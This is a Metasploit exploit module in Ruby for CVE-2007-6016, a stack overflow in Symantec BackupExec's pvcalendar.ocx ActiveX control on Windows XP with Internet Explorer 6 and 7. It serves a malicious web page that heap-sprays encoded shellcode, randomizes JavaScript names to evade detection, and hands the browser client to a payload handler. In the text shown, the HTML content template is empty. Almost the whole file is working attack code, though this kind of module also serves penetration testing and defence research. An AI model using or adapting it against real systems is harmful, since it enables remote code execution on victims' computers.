## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec BackupExec Calendar Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Symantec BackupExec Calendar Control. By sending an overly long string to the "_DOWText0" property located in the pvcalendar.ocx control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Elazar Broad ' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-6016' ], [ 'OSVDB', '42358'], [ 'BID', '26904' ], [ 'URL', 'http://secunia.com/advisories/27885/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 256, 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Feb 28 2008', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape(make_nops(4)) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x30000 fillto = 400 offset = target['Offset'] junk = rand_text_alpha(4) # Randomize the javascript variable names pvcalendar = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_ret = rand_text_alpha(rand(100) + 1) j_junk = rand_text_alpha(rand(100) + 1) j_filename = rand_text_alpha(rand(16) + 1) # Build out the message content = %Q|

| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end